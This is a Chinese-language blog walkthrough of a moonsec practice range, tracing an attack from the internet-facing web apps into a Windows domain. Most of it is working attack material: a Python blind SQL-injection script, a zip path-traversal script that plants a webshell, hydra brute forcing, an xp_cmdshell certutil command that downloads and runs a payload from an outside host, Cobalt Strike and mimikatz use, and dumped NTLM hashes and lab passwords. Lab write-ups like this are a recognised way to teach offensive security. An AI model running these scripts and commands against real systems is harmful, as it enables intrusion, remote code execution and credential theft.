• 三层内网 外网打点到内网域 sec123 复现


    三层内网 外网打点到内网域 sec123 复现

    本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

    项目介绍

    本次项目模拟渗透测试人员在授权的情况下,对目标进行渗透测试,从外网打点到内网横向渗透,最终获取整个内网权限。

    本次项目属于三层代理内网穿透,会学习到各种内网穿透技术,cobalt strike在内网中各种横行方法,也会学习到在工具利用失败的情况下,手写exp获取边界突破点,详细介绍外网各种打点方法。

    网络配置图

    以下是网络拓扑图 详细的标注了各个主机名和ip 在渗透测试进行针对性操作。

    image-20220825093946859

    环境搭建

    本靶场模拟在实战环境,所以要将web1主机映射到公网上,需要一台公网的vps 去淘宝购买一台即可。
    在公网vps使用配置frp工具的frps.ini 运行frps.exe -c frps.ini

    [common]
    bind_port = 7000
    token=hk123
    
    • 1
    • 2
    • 3

    在web1上配置frpc.ini 运行 frpc.exe -c frp.ini

    [common]
    server_addr = 103.121.93.206
    server_port = 7000
    token=hk123
    [javaweb1]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 8878
    remote_port = 8878
    [javaweb2]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 8088
    remote_port = 8088
    [javaweb3]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 8899
    remote_port = 8899
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    配置成功后访问 http://124.223.169.73:8899/ 测试一下

    image-20220825094712866

    至此,靶场搭建完毕。

    账号和密码

    主机名ip账号和密码
    web1192.168.0.126administrator QWEasd123
    server2012192.168.0.128
    10.10.10.136
    adninistrator QWEadmin555
    sec123\cnk QWEasd789
    ad0110.10.10.139sec123\administrator QWEadmin001

    web1 网站配置:

    http://192.168.0.126:8878 银行系统 admin adminsec123
    http://192.168.0.126:8088/login.jsp admin moonsec123
    http://192.168.0.126:8899/cmscp/index.do admin zzz123zzz

    外网打点

    端口扫描

    我们先扫描一下开放端口。(以下过程非常缓慢)

    sudo masscan -p 1-65535 124.223.169.73 --rate=100 
    
    • 1

    image-20220825101421008

    我们再使用 nmap 进行端口的具体扫描,经过测试 masscan 并不准确,我又用 goby 扫了一下得到以下端口(其中的80,8888是我的博客服务)。

    nmap -sV  124.223.169.73 -sC -p 110,25,8899,8088,8878 -oN sec-ports
    
    • 1

    image-20220825102425940

    根据 nmap 扫描结果我们得到以下三个网站:

    http://124.223.169.73:8878网上银行系统
    http://124.223.169.73:8088/login.jspTomExam 网络考试系统
    http://124.223.169.73:8899/cmscp/index.dojspXCMS

    网上银行系统漏洞

    经过在 github 中的搜索找到了这个系统的源码

    https://github.com/amateur-RD/netBank-System

    并且在 sql 文件中翻到登录账号。

    image-20220825103818866

    普通账号登录成功,管理账号登录失败。

    网上银行系统Hsql注入漏洞

    # 这里的管理员账号要是错误的利用 or 来使后面的成为正确的
    asd' or '1'='1 # 返回密码不正确
    asd' or '1'='2 # 返回用户名不存在
    
    • 1
    • 2
    • 3

    登录处存在 bool 注入

    但是 sqlmap 无法跑出 Hsql 的注入。

    image-20220825105036322

    我们来编写一下 Hsql 注入的脚本:

    # -*- coding: utf-8 -*-
    import requests
    
    password = ""
    payload = "qwertyuiopasdfghjklzxcvbnm1234567890"
    url = "http://124.223.169.73:8878/admin/admin/login"
    headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": "84",
    "Origin": "http://124.223.169.73:8878",
    "Connection": "close",
    "Referer": "http://124.223.169.73:8878/admin/login",
    "Upgrade-Insecure-Requests": "1",
    }
    
    for num in range(1, 20):
        for pd in payload:
            # 其中的 Admin 表可以在源代码中翻到
            exp = f"admin' and(select substring(password,{str(num)},1) from Admin) like '{str(pd)}' or '1' = '2"
            data = {"account.username": "", "admin.username": exp, "account.password": "", "admin.password": 'aaaa', "type": 1}
            req = requests.post(url=url, data=data, headers=headers)
            if "密码不正确" in req.text:
                password += pd
                print(f"injectioning ....[{password}]")
                break
    
    print("密码为:" + password)
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    image-20220825145537875

    得到账号和密码:admin adminsec123

    但是网站登录后无法进行getshell 也无法进行跨库查询。

    tomexam SQL注入漏洞

    这是一个 tomexam 登录系统 年份比较久远。

    尝试过弱口令后无果,注册用户登录后发现存在SQL注入:

    GET /page.do?action=comm_news&act=list&classid=2 HTTP/1.1
    Host: 124.223.169.73:8088
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=EA5747E99BCD208F2D311B7BB489C8AF
    Upgrade-Insecure-Requests: 1
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    我们通过注入拿到管理员登录账号

    image-20220825153342310

    登录后台查看一番后,没有发现能够 getshell 的点。

    有一个 FCK 编辑器但是目标网站是 jsp 的后端无法利用。

    但是我们可以通过 sqlmap 读取到第三个网站 jspxcms 的后台登录密码。

    sqlmap -r sql.txt --batch -D jspxcms -T cms_user -C f_username,f_password,f_salt --dump
    
    • 1

    这里值得注意的是这里的密码是加盐了的我们还需要盐的值。

    image-20220825160029293

    +------------+------------------------------------------+------------------+
    | f_username | f_password                               | f_salt           |
    +------------+------------------------------------------+------------------+
    | anonymous  | anonymous                                | anonymous        |
    | admin      | 51c52ae56562d8c538600385909595b009467f0b | 9b2b38ad7cb62fd9 |
    | moonsec    | 508034a9e6e643ec4dd78357ce3a3da460bee5be | a4aff126c86ef107 |
    +------------+------------------------------------------+------------------+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    编写 jspxcms 密文加密脚本进行破解

    我们先去下载一下源代码进行代码审计。

    package com.jspxcms.core;
    import com.jspxcms.common.security.SHA1CredentialsDigest;
    import com.jspxcms.common.util.Encodes;
    import java.io.File;
    import java.io.FileReader;
    import java.io.FileWriter;
    import java.io.PrintWriter;
    import java.util.Scanner;
    
    public class Testmain {
      public static void main(String[] args)throws Exception {
        byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9");
        SHA1CredentialsDigest test = new SHA1CredentialsDigest();
        String fileName = "D:\\csdnpass.txt";
        String fileName2 = "D:\\hashpassword2.txt";
        try (Scanner sc = new Scanner(new FileReader(fileName))) {
          while (sc.hasNextLine()) {
            String line = sc.nextLine();
            String encPass = test.digest(line, salt);
            File f = new File(fileName2);
            FileWriter fw = new FileWriter(f, true);
            PrintWriter pw = new PrintWriter(fw);
            pw.println(line + " " + encPass);
            pw.close();
         }
       }
     }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    原谅我,才刚开始学Java,根本不会写,以上是月师傅的脚本。

    image-20220825164650120

    登录jspxcms后台getshell

    这里参考这篇文章:https://blog.csdn.net/lastwinn/article/details/119303905

    使用哥斯拉生成一个god.jsp 然后打包成war

    jar -cf god.war god.jsp
    
    • 1

    制作目录穿越脚本

    import zipfile
    zip = zipfile.ZipFile("test.zip",'w',zipfile.ZIP_DEFLATED)
    with open("god.war","rb") as f:
      	data=f.read();
    	zip.writestr("../../../god.war",data)
    	zip.close()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在后台找个zip上传 上传后会自动解压到网站目录 tomcat会自动解压改文件

    image-20220825165512022

    http://124.223.169.73:8899/god/god.jsp

    使用哥斯拉进行连接 至此可以获取一个webshell的权限了。

    image-20220825165642193

    内网渗透

    配置内网 cobalt strike 内网上线

    项目二 详细地介绍了 metasploit在内网中的各种操作,这次直接使用cobalt stike 测试这个项目。
    因为测试者本身处于内网,cobalt stike也在于内网 所以首先让后门能够内网上线。需要一台外网的vps做frp 反向代理出去。

    外网 vps frps.ini

    [common]
    bind_port = 7000
    token=QWEasd123
    
    • 1
    • 2
    • 3
    # 后台启动frps
    nohup ./frps -c frps.ini &
    
    • 1
    • 2

    内网 kali frpc.ini

    [common]
    server_addr = 121.4.60.34
    server_port = 7000
    token = QWEasd123
    [msf]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 6666
    remote_port = 6666
    [cs]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 7777
    remote_port = 7777
    [socks_proxy]
    type = tcp
    remote_port = 8888
    plugin = socks5
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    后台启动 teamsever

    sudo nohup ./teamserver 192.168.0.23 123456 &
    
    • 1

    使用客户端连接

    image-20220825171150221

    生成木马上传到目标执行获取权限

    image-20220825171623665

    内网信息收集

    ipconfig 看一下发现只有一个网卡

    image-20220825171935793

    直接开个代理,使用nmap进行扫描

    修改 proxychains4 配置文件:

    sudo vim /etc/proxychains4.conf
    
    socks4  127.0.0.1 1234
    
    • 1
    • 2
    • 3

    这里我个人比较喜欢使用 fscan 进行探测(也可以使用 masscan 或者 nmap 进行探测)

    ./fscan -h 192.168.0.1/24 
    
    • 1

    image-20220825172759602

    这里可以看到不仅仅扫出了 192.168.0.128 还把它的弱口令都破解出来了。

    当然常规的扫描出来 1433 MSSQL 服务我们可以使用 hydra 进行破解。

     proxychains4 hydra -l sa -P /usr/share/wordlists/top10000.txt 192.168.0.128 mssql -vV -f
    
    • 1

    同样使用 hydra 也可以爆破出密码。

    image-20220825174348421

    mssqlclient 登录执行命令

    在 impacket python 工具包中有一个mssql登录的脚本

    proxychains4 python3 mssqlclient.py  sa@192.168.0.128
    
    • 1

    成功登录

    image-20220825174754894

    开启 xp_cmdshell

    enable_xp_cmdshell
    # 执行命令
    xp_cmdshell whoami
    
    • 1
    • 2
    • 3

    image-20220825174851541

    执行命令远程下载 exe 并且执行得到 server2012 权限 mssql 用户的权限

    xp_cmdshell certutil -urlcache -split -f http://www.lianqing.xyz/artifact.exe c:/windows/temp/artifact.exe
    xp_cmdshell c:/windows/temp/artifact.exe
    
    • 1
    • 2

    成功获取权限

    image-20220825175852867

    使用 SweetPotato (ms16-075) 提权 winserver2012

    我cs上面的插件上面有这个提权,我就直接使用了,没有的可以去添加插件。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YSXjmdzS-1661501179520)(https://gitee.com/lianqing_xyz/md_image/raw/master/img/image-20220825180511201.png)]

    SERVER 2012 内网信息收集

    查看网卡

    shell ipconfig
    
    • 1

    image-20220825181556410

    其中 192 段已日穿了,就只剩下 10 段了

    fscan 扫描内网

    添加代理使用 fscan 扫描内网

    proxychains4 ./fscan_amd64_1.6 -h 10.10.10.1/24
    
    • 1

    image-20220825184452711

    发现存在一台主机 10.10.10.139

    抓取 Hash

    beacon> hashdump
    [*] Tasked beacon to dump hashes
    [+] host called home, sent: 82541 bytes
    [+] received password hashes:
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbb228c4d6ceeea0590a5e4a45b1572c:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    
    beacon> logonpasswords
    [*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
    [+] host called home, sent: 297594 bytes
    [+] received output:
    
    Authentication Id : 0 ; 310443 (00000000:0004bcab)
    Session           : Interactive from 1
    User Name         : Administrator
    Domain            : SERVER2012
    Logon Server      : SERVER2012
    Logon Time        : 2022/8/24 23:08:10
    SID               : S-1-5-21-3378230354-4138003060-1591016314-500
    	msv :	
    	 [00010000] CredentialKeys
    	 * NTLM     : dbb228c4d6ceeea0590a5e4a45b1572c
    	 * SHA1     : 0e7824547cf9b24af762515e73e419e2d168518f
    	 [00000003] Primary
    	 * Username : Administrator
    	 * Domain   : SERVER2012
    	 * NTLM     : dbb228c4d6ceeea0590a5e4a45b1572c
    	 * SHA1     : 0e7824547cf9b24af762515e73e419e2d168518f
    	tspkg :	
    	wdigest :	
    	 * Username : Administrator
    	 * Domain   : SERVER2012
    	 * Password : (null)
    	kerberos :	
    	 * Username : Administrator
    	 * Domain   : SERVER2012
    	 * Password : (null)
    	ssp :	
    	credman :	
    
    Authentication Id : 0 ; 127032 (00000000:0001f038)
    Session           : Service from 0
    User Name         : ReportServer
    Domain            : NT Service
    Logon Server      : (null)
    Logon Time        : 2022/8/24 23:06:59
    SID               : S-1-5-80-2885764129-887777008-271615777-1616004480-2722851051
    	msv :	
    	 [00000003] Primary
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * NTLM     : 2b9b6e1af2888d0ac86ee19375bf7f0e
    	 * SHA1     : 48b3b18905d70fb95dc96970c0e46ab3bd08a177
    	tspkg :	
    	wdigest :	
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * Password : (null)
    	kerberos :	
    	 * Username : SERVER2012$
    	 * Domain   : sec123.cnk
    	 * Password : a1 9b e5 b8 a0 56 8d f0 64 1d 9a b3 65 be 89 99 b3 08 8e 99 6e 1e 2d a7 ca 3b 69 d5 0a 95 d6 57 10 59 67 b1 6b 8d 2f a7 b7 c7 cc ac 64 60 ee dc 0e 70 05 49 23 c5 8e d8 6c 9c a2 48 0e 12 2f c0 18 d9 8a 06 56 8f 40 55 8b 90 b6 e4 23 e0 45 e6 c3 2b 86 ae f2 d7 0b 30 44 b0 5d 5a 38 ff 85 66 c3 ef cb 2d 75 f6 c2 be 53 2f 7f f3 8d d1 fc a5 6f 19 97 56 8d 51 73 bb 24 d4 16 47 e6 3c 34 20 32 a3 79 38 ff f3 ce 28 80 36 61 37 0c 80 ce 03 7a 8b 44 f9 3b 1a 69 fb ac 7e 66 63 97 76 ba 99 94 9c 7a 91 5f a1 1b 9d 51 fe 9b a8 d3 54 c0 7f 8c 04 8f 49 43 85 b2 0f 32 9e ea 35 7d 23 70 1e d1 a6 da bb bf 26 20 90 18 cc 5e 51 c0 4e 4d 26 c8 b4 df f4 8b 84 b2 11 36 50 3f 97 a6 73 a8 a5 69 9b ba 27 7b e4 d0 00 18 72 25 e1 37 ac 23 03 
    	ssp :	
    	credman :	
    
    Authentication Id : 0 ; 121978 (00000000:0001dc7a)
    Session           : Service from 0
    User Name         : MSSQLServerOLAPService
    Domain            : NT Service
    Logon Server      : (null)
    Logon Time        : 2022/8/24 23:06:59
    SID               : S-1-5-80-2872255330-672591203-888807865-2791174282-1554802921
    	msv :	
    	 [00000003] Primary
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * NTLM     : 2b9b6e1af2888d0ac86ee19375bf7f0e
    	 * SHA1     : 48b3b18905d70fb95dc96970c0e46ab3bd08a177
    	tspkg :	
    	wdigest :	
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * Password : (null)
    	kerberos :	
    	 * Username : SERVER2012$
    	 * Domain   : sec123.cnk
    	 * Password : a1 9b e5 b8 a0 56 8d f0 64 1d 9a b3 65 be 89 99 b3 08 8e 99 6e 1e 2d a7 ca 3b 69 d5 0a 95 d6 57 10 59 67 b1 6b 8d 2f a7 b7 c7 cc ac 64 60 ee dc 0e 70 05 49 23 c5 8e d8 6c 9c a2 48 0e 12 2f c0 18 d9 8a 06 56 8f 40 55 8b 90 b6 e4 23 e0 45 e6 c3 2b 86 ae f2 d7 0b 30 44 b0 5d 5a 38 ff 85 66 c3 ef cb 2d 75 f6 c2 be 53 2f 7f f3 8d d1 fc a5 6f 19 97 56 8d 51 73 bb 24 d4 16 47 e6 3c 34 20 32 a3 79 38 ff f3 ce 28 80 36 61 37 0c 80 ce 03 7a 8b 44 f9 3b 1a 69 fb ac 7e 66 63 97 76 ba 99 94 9c 7a 91 5f a1 1b 9d 51 fe 9b a8 d3 54 c0 7f 8c 04 8f 49 43 85 b2 0f 32 9e ea 35 7d 23 70 1e d1 a6 da bb bf 26 20 90 18 cc 5e 51 c0 4e 4d 26 c8 b4 df f4 8b 84 b2 11 36 50 3f 97 a6 73 a8 a5 69 9b ba 27 7b e4 d0 00 18 72 25 e1 37 ac 23 03 
    	ssp :	
    	credman :	
    
    Authentication Id : 0 ; 996 (00000000:000003e4)
    Session           : Service from 0
    User Name         : SERVER2012$
    Domain            : SEC123
    Logon Server      : (null)
    Logon Time        : 2022/8/24 23:06:55
    SID               : S-1-5-20
    	msv :	
    	 [00000003] Primary
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * NTLM     : 2b9b6e1af2888d0ac86ee19375bf7f0e
    	 * SHA1     : 48b3b18905d70fb95dc96970c0e46ab3bd08a177
    	tspkg :	
    	wdigest :	
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * Password : (null)
    	kerberos :	
    	 * Username : server2012$
    	 * Domain   : SEC123.CNK
    	 * Password : (null)
    	ssp :	
    	credman :	
    
    Authentication Id : 0 ; 181862 (00000000:0002c666)
    Session           : Service from 0
    User Name         : MSSQLFDLauncher
    Domain            : NT Service
    Logon Server      : (null)
    Logon Time        : 2022/8/24 23:07:23
    SID               : S-1-5-80-3263513310-3392720605-1798839546-683002060-3227631582
    	msv :	
    	 [00000003] Primary
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * NTLM     : 2b9b6e1af2888d0ac86ee19375bf7f0e
    	 * SHA1     : 48b3b18905d70fb95dc96970c0e46ab3bd08a177
    	tspkg :	
    	wdigest :	
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * Password : (null)
    	kerberos :	
    	 * Username : SERVER2012$
    	 * Domain   : sec123.cnk
    	 * Password : a1 9b e5 b8 a0 56 8d f0 64 1d 9a b3 65 be 89 99 b3 08 8e 99 6e 1e 2d a7 ca 3b 69 d5 0a 95 d6 57 10 59 67 b1 6b 8d 2f a7 b7 c7 cc ac 64 60 ee dc 0e 70 05 49 23 c5 8e d8 6c 9c a2 48 0e 12 2f c0 18 d9 8a 06 56 8f 40 55 8b 90 b6 e4 23 e0 45 e6 c3 2b 86 ae f2 d7 0b 30 44 b0 5d 5a 38 ff 85 66 c3 ef cb 2d 75 f6 c2 be 53 2f 7f f3 8d d1 fc a5 6f 19 97 56 8d 51 73 bb 24 d4 16 47 e6 3c 34 20 32 a3 79 38 ff f3 ce 28 80 36 61 37 0c 80 ce 03 7a 8b 44 f9 3b 1a 69 fb ac 7e 66 63 97 76 ba 99 94 9c 7a 91 5f a1 1b 9d 51 fe 9b a8 d3 54 c0 7f 8c 04 8f 49 43 85 b2 0f 32 9e ea 35 7d 23 70 1e d1 a6 da bb bf 26 20 90 18 cc 5e 51 c0 4e 4d 26 c8 b4 df f4 8b 84 b2 11 36 50 3f 97 a6 73 a8 a5 69 9b ba 27 7b e4 d0 00 18 72 25 e1 37 ac 23 03 
    	ssp :	
    	credman :	
    
    Authentication Id : 0 ; 120545 (00000000:0001d6e1)
    Session           : Service from 0
    User Name         : MSSQLSERVER
    Domain            : NT Service
    Logon Server      : (null)
    Logon Time        : 2022/8/24 23:06:58
    SID               : S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003
    	msv :	
    	 [00000003] Primary
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * NTLM     : 2b9b6e1af2888d0ac86ee19375bf7f0e
    	 * SHA1     : 48b3b18905d70fb95dc96970c0e46ab3bd08a177
    	tspkg :	
    	wdigest :	
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * Password : (null)
    	kerberos :	
    	 * Username : SERVER2012$
    	 * Domain   : sec123.cnk
    	 * Password : a1 9b e5 b8 a0 56 8d f0 64 1d 9a b3 65 be 89 99 b3 08 8e 99 6e 1e 2d a7 ca 3b 69 d5 0a 95 d6 57 10 59 67 b1 6b 8d 2f a7 b7 c7 cc ac 64 60 ee dc 0e 70 05 49 23 c5 8e d8 6c 9c a2 48 0e 12 2f c0 18 d9 8a 06 56 8f 40 55 8b 90 b6 e4 23 e0 45 e6 c3 2b 86 ae f2 d7 0b 30 44 b0 5d 5a 38 ff 85 66 c3 ef cb 2d 75 f6 c2 be 53 2f 7f f3 8d d1 fc a5 6f 19 97 56 8d 51 73 bb 24 d4 16 47 e6 3c 34 20 32 a3 79 38 ff f3 ce 28 80 36 61 37 0c 80 ce 03 7a 8b 44 f9 3b 1a 69 fb ac 7e 66 63 97 76 ba 99 94 9c 7a 91 5f a1 1b 9d 51 fe 9b a8 d3 54 c0 7f 8c 04 8f 49 43 85 b2 0f 32 9e ea 35 7d 23 70 1e d1 a6 da bb bf 26 20 90 18 cc 5e 51 c0 4e 4d 26 c8 b4 df f4 8b 84 b2 11 36 50 3f 97 a6 73 a8 a5 69 9b ba 27 7b e4 d0 00 18 72 25 e1 37 ac 23 03 
    	ssp :	
    	credman :	
    
    Authentication Id : 0 ; 115516 (00000000:0001c33c)
    Session           : Service from 0
    User Name         : MsDtsServer110
    Domain            : NT Service
    Logon Server      : (null)
    Logon Time        : 2022/8/24 23:06:58
    SID               : S-1-5-80-1770670200-1234090253-3451813168-4041049723-2370973757
    	msv :	
    	 [00000003] Primary
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * NTLM     : 2b9b6e1af2888d0ac86ee19375bf7f0e
    	 * SHA1     : 48b3b18905d70fb95dc96970c0e46ab3bd08a177
    	tspkg :	
    	wdigest :	
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * Password : (null)
    	kerberos :	
    	 * Username : SERVER2012$
    	 * Domain   : sec123.cnk
    	 * Password : a1 9b e5 b8 a0 56 8d f0 64 1d 9a b3 65 be 89 99 b3 08 8e 99 6e 1e 2d a7 ca 3b 69 d5 0a 95 d6 57 10 59 67 b1 6b 8d 2f a7 b7 c7 cc ac 64 60 ee dc 0e 70 05 49 23 c5 8e d8 6c 9c a2 48 0e 12 2f c0 18 d9 8a 06 56 8f 40 55 8b 90 b6 e4 23 e0 45 e6 c3 2b 86 ae f2 d7 0b 30 44 b0 5d 5a 38 ff 85 66 c3 ef cb 2d 75 f6 c2 be 53 2f 7f f3 8d d1 fc a5 6f 19 97 56 8d 51 73 bb 24 d4 16 47 e6 3c 34 20 32 a3 79 38 ff f3 ce 28 80 36 61 37 0c 80 ce 03 7a 8b 44 f9 3b 1a 69 fb ac 7e 66 63 97 76 ba 99 94 9c 7a 91 5f a1 1b 9d 51 fe 9b a8 d3 54 c0 7f 8c 04 8f 49 43 85 b2 0f 32 9e ea 35 7d 23 70 1e d1 a6 da bb bf 26 20 90 18 cc 5e 51 c0 4e 4d 26 c8 b4 df f4 8b 84 b2 11 36 50 3f 97 a6 73 a8 a5 69 9b ba 27 7b e4 d0 00 18 72 25 e1 37 ac 23 03 
    	ssp :	
    	credman :	
    
    Authentication Id : 0 ; 83286 (00000000:00014556)
    Session           : Interactive from 1
    User Name         : DWM-1
    Domain            : Window Manager
    Logon Server      : (null)
    Logon Time        : 2022/8/24 23:06:56
    SID               : S-1-5-90-1
    	msv :	
    	 [00000003] Primary
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * NTLM     : 2b9b6e1af2888d0ac86ee19375bf7f0e
    	 * SHA1     : 48b3b18905d70fb95dc96970c0e46ab3bd08a177
    	tspkg :	
    	wdigest :	
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * Password : (null)
    	kerberos :	
    	 * Username : SERVER2012$
    	 * Domain   : sec123.cnk
    	 * Password : a1 9b e5 b8 a0 56 8d f0 64 1d 9a b3 65 be 89 99 b3 08 8e 99 6e 1e 2d a7 ca 3b 69 d5 0a 95 d6 57 10 59 67 b1 6b 8d 2f a7 b7 c7 cc ac 64 60 ee dc 0e 70 05 49 23 c5 8e d8 6c 9c a2 48 0e 12 2f c0 18 d9 8a 06 56 8f 40 55 8b 90 b6 e4 23 e0 45 e6 c3 2b 86 ae f2 d7 0b 30 44 b0 5d 5a 38 ff 85 66 c3 ef cb 2d 75 f6 c2 be 53 2f 7f f3 8d d1 fc a5 6f 19 97 56 8d 51 73 bb 24 d4 16 47 e6 3c 34 20 32 a3 79 38 ff f3 ce 28 80 36 61 37 0c 80 ce 03 7a 8b 44 f9 3b 1a 69 fb ac 7e 66 63 97 76 ba 99 94 9c 7a 91 5f a1 1b 9d 51 fe 9b a8 d3 54 c0 7f 8c 04 8f 49 43 85 b2 0f 32 9e ea 35 7d 23 70 1e d1 a6 da bb bf 26 20 90 18 cc 5e 51 c0 4e 4d 26 c8 b4 df f4 8b 84 b2 11 36 50 3f 97 a6 73 a8 a5 69 9b ba 27 7b e4 d0 00 18 72 25 e1 37 ac 23 03 
    	ssp :	
    	credman :	
    
    Authentication Id : 0 ; 997 (00000000:000003e5)
    Session           : Service from 0
    User Name         : LOCAL SERVICE
    Domain            : NT AUTHORITY
    Logon Server      : (null)
    Logon Time        : 2022/8/24 23:06:56
    SID               : S-1-5-19
    	msv :	
    	tspkg :	
    	wdigest :	
    	 * Username : (null)
    	 * Domain   : (null)
    	 * Password : (null)
    	kerberos :	
    	 * Username : (null)
    	 * Domain   : (null)
    	 * Password : (null)
    	ssp :	
    	credman :	
    
    Authentication Id : 0 ; 50995 (00000000:0000c733)
    Session           : UndefinedLogonType from 0
    User Name         : (null)
    Domain            : (null)
    Logon Server      : (null)
    Logon Time        : 2022/8/24 23:06:55
    SID               : 
    	msv :	
    	 [00000003] Primary
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * NTLM     : 2b9b6e1af2888d0ac86ee19375bf7f0e
    	 * SHA1     : 48b3b18905d70fb95dc96970c0e46ab3bd08a177
    	tspkg :	
    	wdigest :	
    	kerberos :	
    	ssp :	
    	credman :	
    
    Authentication Id : 0 ; 999 (00000000:000003e7)
    Session           : UndefinedLogonType from 0
    User Name         : SERVER2012$
    Domain            : SEC123
    Logon Server      : (null)
    Logon Time        : 2022/8/24 23:06:55
    SID               : S-1-5-18
    	msv :	
    	tspkg :	
    	wdigest :	
    	 * Username : SERVER2012$
    	 * Domain   : SEC123
    	 * Password : (null)
    	kerberos :	
    	 * Username : server2012$
    	 * Domain   : SEC123.CNK
    	 * Password : (null)
    	ssp :	
    	credman :	
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177
    • 178
    • 179
    • 180
    • 181
    • 182
    • 183
    • 184
    • 185
    • 186
    • 187
    • 188
    • 189
    • 190
    • 191
    • 192
    • 193
    • 194
    • 195
    • 196
    • 197
    • 198
    • 199
    • 200
    • 201
    • 202
    • 203
    • 204
    • 205
    • 206
    • 207
    • 208
    • 209
    • 210
    • 211
    • 212
    • 213
    • 214
    • 215
    • 216
    • 217
    • 218
    • 219
    • 220
    • 221
    • 222
    • 223
    • 224
    • 225
    • 226
    • 227
    • 228
    • 229
    • 230
    • 231
    • 232
    • 233
    • 234
    • 235
    • 236
    • 237
    • 238
    • 239
    • 240
    • 241
    • 242
    • 243
    • 244
    • 245
    • 246
    • 247
    • 248
    • 249
